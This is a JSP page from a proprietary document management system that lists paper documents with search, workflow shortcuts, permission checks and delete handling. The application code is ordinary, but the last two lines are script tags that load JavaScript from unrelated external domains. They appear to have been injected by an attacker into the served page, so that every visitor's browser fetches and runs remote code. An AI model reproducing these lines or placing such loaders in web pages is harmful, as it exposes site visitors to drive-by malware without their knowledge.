<%
/*
 * @(#)ListDmsPaperDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsPaperDocument.jsp

  This is a ListDmsPaperDocument page.  It shows the active documents' record in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      15/10/2004
    @version            $Revision: 1.39.2.15 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.framework.dao.*" %>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPaperDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsPaperDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  String      LIST_NAME = "dmsPaperDocumentList";



  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
try{
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);

  //get the default profile and udf for display
  int totalFieldCount = Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT));

  // String LABEL_MAP[][] = new String[7][2];
  List labelList = new ArrayList();
  String column_1 [] = {"ID", "ID"};
  labelList.add(column_1);
  String column_2 [] = {"dms.columnheader.priority", "PRIORITY"};
  labelList.add(column_2);
  String column_3 [] = {"dms.columnheader.doc_name", "DOCUMENT_NAME"};
  labelList.add(column_3);
  String column_4 [] = {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE};
  labelList.add(column_4);
  //String column_5 [] = {"dms.label.reference_no", "REFERENCE_NO"};
  //labelList.add(column_5);

  if (Utility.isEmpty(DMS_DEF_PROFILE)){
    docRetrievalManager.checkNSetDefaultProfileList(request);
  }

  for(int j=0; j<totalFieldCount;j++){
     DmsDefaultProfileSetting setting = ((DmsDefaultProfileSetting)DMS_DEF_PROFILE.get(j));
    String tmp_column[] = {"*_"+setting.getFieldName(), "USER_DEF_"+(j+1)};
    labelList.add(tmp_column);
  }

  String column_5[] = {"dms.columnheader.profile_name","S.USER_DEFINED_TYPE"};
  labelList.add(column_5);

  /*
  if(!Utility.isEmpty(sysUserDefinedIndexDetailList)){
    for(int j=0;j<sysUserDefinedIndexDetailList.size();j++){
      SysUserDefinedIndexDetail sysUserDefinedIndexDetail = (SysUserDefinedIndexDetail)sysUserDefinedIndexDetailList.get(j);
      String tmp_column[] = {"*_"+sysUserDefinedIndexDetail.getFieldName(), "DI.INDEX_"+(j+1)};
      labelList.add(tmp_column);
    }
  }
  */


  String column_6 [] = {"common.columnheader.update_date", "UPDATE_DATE"};
  labelList.add(column_6);
  String column_7 [] = {"common.columnheader.updater", "UPDATER_ID"};
  labelList.add(column_7);


   /*   String[][] LABEL_MAP = { {"ID", "ID"},
                  {"dms.columnheader.priority", "PRIORITY"},
                  {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                  {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                  {"dms.label.reference_no", "REFERENCE_NO"},
                  {"common.columnheader.update_date", "UPDATE_DATE"},
                  {"common.columnheader.updater", "UPDATER_ID"}
                };
  */
  /*String [][] LABEL_MAP = new String[labelList.size()][2];
  for (int i=0 ;i < labelList.size();i++) {
    LABEL_MAP[i] = (String [])labelList.get(i);
  }*/
  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.description", "DESCRIPTION"},
                            {"dms.label.reference_no", "REFERENCE_NO"}
                          };

  int     COLUMN_OFFSET = 1;

  String sCurFunctionCode = listDmsPaperDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsPaperDocumentForm.getCurFunctionCode();


  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/


  String rootID = listDmsPaperDocumentForm.getRootID();
  String parentID = listDmsPaperDocumentForm.getParentID();



  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  ForumManager forumManager=new ForumManager(sessionContainer,conn);

  PermissionManager permissionManager = sessionContainer.getPermissionManager();

  String directURL=(String)request.getAttribute("directURL");
  if(Utility.isEmpty(directURL)){
//    directURL=request.getRealPath(request.getRequestURL().toString());
    directURL=request.getRequestURL().toString();
    directURL=new String(directURL.replaceAll("\\\\","/"));
    if(!Utility.isEmpty(request.getQueryString())){
      directURL=directURL+"?"+request.getQueryString().toString();
    }
    int direU=directURL.indexOf("http");
    directURL=directURL.substring(direU,directURL.length());
    int realp=directURL.indexOf(""+request.getContextPath()+"");
    directURL=directURL.substring(realp,directURL.length());
  }
  directURL=java.net.URLEncoder.encode(directURL);

  String currentPath = java.net.URLEncoder.encode(request.getContextPath()+"/dms/ListDmsPaperDocument.do");

  String pageURL ="";
  pageURL ="ListDmsPaperDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  pageURL =java.net.URLEncoder.encode(pageURL);

%>

<style type="text/css">
body { font-family : sans-serif; }

form {
    margin-bottom : 0;
}
</style>

<script language="javascript">
<!--

//Add Start

function hideNewShortcutDialog(){
  frameDlg.hide();
}

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.listDmsPaperDocumentForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.listDmsPaperDocumentForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

function popupNewShortcut(url){
  try{
    frameDlg.setUrl(url);
    cClick();
    frameDlg.show();
  } catch(e) {

  }
}


//add end

function OpCustListDelete(frm){
  var blnNotHasChecked =true;
  var urlQueryString = "";
  if (frm==null) frm = document.listDmsPaperDocumentForm;
  var basicSelectedID = frm.basicSelectedID;
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }
  send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
  var relationshipIds = http_request.responseText;
  if (relationshipIds.indexOf("RETIDS")!=-1) {
    var relationshipWarningURL = "RelationshipWarning.do?" + relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
    relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
    frameDlg.setUrl(relationshipWarningURL);
    frameDlg.show();
    //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
  }else if (relationshipIds.indexOf("ERROR")!=-1) {
    alert("Error cause by:"+relationshipIds);
  }else {
    OpListDelete(frm);
  }
}

function OpGoWfSubmission(){

  if(document.listDmsPaperDocumentForm.wfSubmission.value!=''){
     document.listDmsPaperDocumentForm.action="<%= request.getContextPath() %>/workflow/MaintWorkflowSubmission.do?navMode=E&ID="+ document.listDmsPaperDocumentForm.wfSubmission.value+"&workflowCategoryID=<%=com.dcivision.workflow.core.SystemWorkflowConstant.DMS_PAPER_DOCUMENT%>"+"&returnTo=<%=currentPath%>";
      document.listDmsPaperDocumentForm.submit();

  }
}

-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsPaperDocument" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="ignoreDeleteShortcut"/>

<html:hidden property='curFunctionCode'/>
<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> </font></layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>" onkeypress="if(event.keyCode==13) OpList(listDmsPaperDocumentForm, '<bean:write name='listDmsPaperDocumentForm' property='sortAttribute' replace=''/>', '<bean:write name='listDmsPaperDocumentForm' property='sortOrder' replace=''/>');">
  <tr>
    <td width="80">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <html:standardButton label="common.label.search" onClick="return(OpList(listDmsPaperDocumentForm, '${listDmsPaperDocumentForm.sortAttribute}', '${listDmsPaperDocumentForm.sortOrder}'))"/>
      <html:standardButton label="common.label.reset" onClick="return(OpListReset(listDmsPaperDocumentForm))"/>
    </td>
    <td align="right">
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<!-- System And Error Messages End -->

<!-- DST Workflow shortcut -->
<%if (permissionManager.hasAccessRight(SystemFunctionConstant.WORKFLOW,"R")){%>
<table cellpadding="0" cellspacing="2" border="0" width="100%">
<layout:sectionHeader name='<%="dms.label.document_track_shortcut"%>'/>
<%

  com.dcivision.workflow.web.ListWorkflowRecordForm form = new com.dcivision.workflow.web.ListWorkflowRecordForm();

  form.setNavMode(com.dcivision.framework.GlobalConstant.NAV_MODE_LIST);
  form.setSortAttribute("WORKFLOW_CODE");
  form.setSortOrder("ASC");
  form.setCurStartRowNo("1");
  form.setBasicSearchField("SOWC.ID");
  form.setBasicSearchType("=");
  form.setBasicSearchKeyword(com.dcivision.workflow.core.SystemWorkflowConstant.DMS_PAPER_DOCUMENT);

  com.dcivision.workflow.dao.WorkflowRecordDAObject dao = new com.dcivision.workflow.dao.WorkflowRecordDAObject ( sessionContainer, conn);
  java.util.List submissionList = dao.getListCanSubmit(form);

%>
 <tr>
    <td>
      <SELECT name="wfSubmission" id="wfSubmission">

       <%if(!Utility.isEmpty(submissionList)){
         for(int m=0;m<submissionList.size();m++){
          com.dcivision.workflow.bean.WorkflowRecord wfRecord = (com.dcivision.workflow.bean.WorkflowRecord)submissionList.get(m); %>
          <OPTION value='<%=wfRecord.getID()%>'><%=wfRecord.getWorkflowCode()%> - <%=wfRecord.getDescription()==null?"":wfRecord.getDescription()%></OPTION>
        <%}
        }%>
      </SELECT>
            <html:standardButton label="common.label.go" onClick="return OpGoWfSubmission()"/>
    </td>
    <td align="right">

       <%if( SystemParameterFactory.getSystemParameterBoolean("dms.enable_paper_document") ){%>
         <html:standardButton label="workflow.label.doc_tran_list" link='<%=request.getContextPath()+"/workflow/ListWorkflowDocThroughUser.do?returnTo="+currentPath%>'/>
         <html:standardButton label="workflow.label.doc_track_report" link='<%=request.getContextPath()+"/workflow/ListWorkflowDocTracking.do?returnTo="+currentPath%>'/>
         <html:standardButton label="workflow.label.recv_paper_document" link='<%=request.getContextPath()+"/workflow/ListWorkflowRecvPaperDoc.do?returnTo="+currentPath%>'/>
       <%}%>

    </td>
 </tr>
</table>
<BR>
<%}%>
<!-- DST Workflow shortcut end -->

<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
 <tr>
    <td>
      <html:permissionButton label="dms.label.new_paper_document" right="I" link='<%="MaintDmsPaperDocument.do?documentType="+DmsDocument.PAPER_DOC_TYPE+"&rootID="+rootID+"&parentID="+parentID+"&curFunctionCode="+sCurFunctionCode%>'/>
    </td>

  </tr>
</table>
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<%
  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);

   if(!Utility.isEmpty(showDefaultProfile)){
     String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
     if(checkCustomFieldArray.length != 3 ){
     showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
     }
   }else{
     showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
   }
%>
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsPaperDocumentForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPaperDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsPaperDocumentForm.getSortOrder()%>" copyColumn="false" showValue="<%=showDefaultProfile%>" displayObjListName="DMS_DEF_PROFILE" showAfter="4"/>
  <!--<layout:columnHeader form="listDmsPaperDocumentForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPaperDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsPaperDocumentForm.getSortOrder()%>" copyColumn="false" editColumn="true"/>-->
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
    <td align="center">
      <%//Update By Jim.Zhou        2006/07/28      Bug #5972%>
      <logic:permission right='D' objectType='D' objectID='<%=((DmsDocument)dmsDocument).getID()%>'><%//Update End%>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <% //Details for Menu items
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
    }

    //Permission string
    DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(((DmsDocument) dmsDocument).getRootID());
    DmsRootDAObject dmsRootDAO =new DmsRootDAObject(sessionContainer,conn);
    DmsRoot dmsRoot=(DmsRoot)dmsRootDAO.getObjectByID(((DmsDocument) dmsDocument).getRootID());
    String permission = "";
    //String sCurFunctionCode="";
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      permission = "PERSONAL";
      //sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument)dmsDocument).getID());
      //sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }    %>

    <td align="center">
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>

      <a href="" onclick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<bean:write name='dmsDocument' property='documentType'/>\',  \'<bean:write name='dmsDocument' property='ID'/>\', \'<bean:write name='dmsDocument' property='parentID'/>\', \'<bean:write name='dmsDocument' property='rootID'/>\', \'<bean:write name='listLoopCnt'/>\', \'<bean:write name='dmsDocument' property='itemStatus'/>\', \'<%=checkoutHistory.getCheckoutPersonID()%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=permission%>\',null,\'<%=pageURL%>\',\'<%=dmsRoot.getRootType()%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
    </td>

    <td align="center"><%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/><%
      }
    %>
    </td>
    <td nowrap >
      <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'/></nobr>
      <%if(forumManager.hasDiscussion(GlobalConstant.OBJECT_TYPE_DOCUMENT,((AbstractBaseObject)dmsDocument).getID())){%>
        <%
           int totalTopic=forumManager.getTopicTotalByObject(GlobalConstant.OBJECT_TYPE_DOCUMENT,((AbstractBaseObject)dmsDocument).getID());
          int totalReply=forumManager.getReplyTotalByObject(GlobalConstant.OBJECT_TYPE_DOCUMENT,((AbstractBaseObject)dmsDocument).getID().toString());
        %>
         <a href="ListDmsForum.do?objectType=<%=GlobalConstant.OBJECT_TYPE_DOCUMENT%>&objectID=<%=((AbstractBaseObject)dmsDocument).getID()%>&directURL=<%=directURL%>" onmouseover="return overlib('<table border=0 cellpadding=0 cellspacing=1><tr><td><%=totalTopic%> <bean:message key='forum.label.total_topic'/> <%=totalReply%> <bean:message key='forum.columnheader.discussion_replies'/></td></tr></table>')" onmouseout="return nd();"><html:img src="IconDMSOpDiscussion.gif"  align='absmiddle'/></a>
     <%}%>
    </td>
    <td>
      <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) { %>
      <dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' returnTo='<%=pageURL%>' />
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
    </td>
    <dms:commonIndex id="setting" includeSystemProfile="true" enableDisplayFilter="true" documentBean="dmsDocument">
    <td><dms:commonIndexValue/></td>
    </dms:commonIndex>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listDmsPaperDocumentForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET+12%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpCustListDelete(listDmsPaperDocumentForm))"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->
<br>
<table cellpadding="0" cellspacing="0" border="0" align="center" width="100%">
  <tr>
    <td><jsp:include page="AlertLegend.jsp"/></td>
  </tr>
  <tr>
    <td align="center"></td>
  </tr>
</table>

</td></tr></table>

</html:form>
<!-- Form Section End -->

<%
}catch (Exception e){
    LogFactory.getLog(this.getClass()).error(e, e);
}finally{
    conn.close();
    conn=null;
}
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>